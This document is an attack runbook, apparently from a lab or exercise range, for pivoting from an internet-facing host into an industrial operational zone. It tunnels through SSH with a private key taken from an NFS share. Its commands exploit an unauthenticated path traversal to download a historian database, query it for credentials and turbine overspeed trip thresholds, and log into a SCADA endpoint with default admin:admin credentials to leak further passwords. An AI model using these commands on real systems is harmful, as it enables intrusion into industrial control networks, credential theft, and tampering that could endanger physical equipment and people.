Runbook: SSH pivot through wizzards-retreat

Situation

unseen-gate (10.10.0.5) has no route to the operational zone (10.10.2.0/24). wizzards-retreat is triple-homed: internet NIC at 10.10.0.10, operational NIC at 10.10.2.3. SSH port forwarding through wizzards-retreat bridges the gap without ever routing through the inter-zone firewalls.

Prerequisites

  • SSH key for rincewind at ~/.ssh/rincewind_id_ed25519 (from the NFS share on wizzards-retreat)

  • Addresses of operational zone services: from notes.txt on the same NFS share

    • Historian web: 10.10.2.10:8080

    • SCADA web: 10.10.2.20:8080

Historian: reconnaissance via tunnel

ssh -i ~/.ssh/rincewind_id_ed25519 -L 18080:10.10.2.10:8080 -N rincewind@10.10.0.10 &
curl -s "http://127.0.0.1:18080/assets"
curl -s "http://127.0.0.1:18080/report?asset=turbine_rpm&from=2024-01-01&to=2099-01-01"
curl -s "http://127.0.0.1:18080/export?tag=../historian.db" -o ~/loot/historian.db

The /export path traversal needs no credentials. Once downloaded, query the database:

python3 -c "import sqlite3; [print(r) for r in sqlite3.connect('loot/historian.db').execute('SELECT * FROM config;')]"
python3 -c "import sqlite3; [print(r) for r in sqlite3.connect('loot/historian.db').execute('SELECT * FROM alarm_config;')]"

config returns credential pairs: database, SSH, and ingest accounts. alarm_config has trip thresholds per asset, including the overspeed trip at 3300 RPM.

Distribution SCADA: credential leak via /config

ssh -i ~/.ssh/rincewind_id_ed25519 -L 18081:10.10.2.20:8080 -N rincewind@10.10.0.10 &
curl -s http://127.0.0.1:18081/config -u admin:admin

The /config endpoint returns historian read credentials, an SMTP password, and the web credentials. Left over from a monitoring integration.